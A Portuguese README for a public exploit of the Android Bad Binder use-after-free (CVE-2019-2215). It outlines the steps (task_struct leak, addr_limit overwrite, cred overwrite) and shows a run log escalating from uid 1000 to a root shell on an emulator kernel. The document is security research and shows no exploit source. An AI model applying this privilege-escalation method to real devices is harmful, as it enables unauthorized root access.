wired0ut/cve-2019-2215Exploit completo para a vulnerabilidade do Android Bad Binder encontrada nos primeiros telefones Google Pixel.
Exploit para a vulnerabilidade Bad Binder no Android, escrito por @wired0ut.
Ele abusa da UAF para vazar task_struct, em seguida sobrescreve addr_limit e eleva privilégios sobrescrevendo o bloco id em cred.
O fluxo completo da pesquisa e exploração pode ser encontrado aqui (série de 3 partes).
Foi testado no kernel goldfish do Android (arm64), versão 4.14, com o patch reintroduzido.
Exemplo de execução:
~ $ whoami
whoami: unknown uid 1000
~ $ ./poc
[!] Starting first phase of exploit; task_struct leak...
[!] Created `binder_thread` and `binder_proc`...
[!] Added wait of binder_thread to `epoll_entry`...
[!] Filling pipes to block...
[!] Filling the iovecs to be overwritten...
[!] Entering blocked state...
[!] Triggering UAF...
[!] Left blocked state, it means we have signaled to not hang.
[*] Leaked task_struct @ 0xffffffc0fb3f0d80
[*] Successfully leaked task_struct ptr, now overwriting addr_limit...
[!] Pre-writing 1 byte to socket to advance iovec iterator to 12th...
[!] Created `binder_thread` and `binder_proc`...
[!] Added wait of binder_thread to `epoll_entry`...
[!] Creating msghdr with crafted iovecs...
[!] Entering recvmsg(...), should block until UAF...
[!] Triggering UAF...
[!] Overwriting addr_limit @ 0xffffffc0fb3f0d88 with 0xfffffffffffffffe
[*] addr_limit overwritten, leaking cred ptr @ 0xffffffc0fb3f1440
[*] cred_ptr @ 0xffffffc0fa45a300
[*] Overwriting entire id block in cred from 0xffffffc0fa45a304 to 0xffffffc0fa45a324
[*] You should now be r00t...
[*] getuid(): 0
[*] w00t w00t
/bin/sh: can't access tty; job control turned off
/ # whoami
whoami: unknown uid 0
Para qualquer informação adicional ou dúvidas, entre em contato comigo.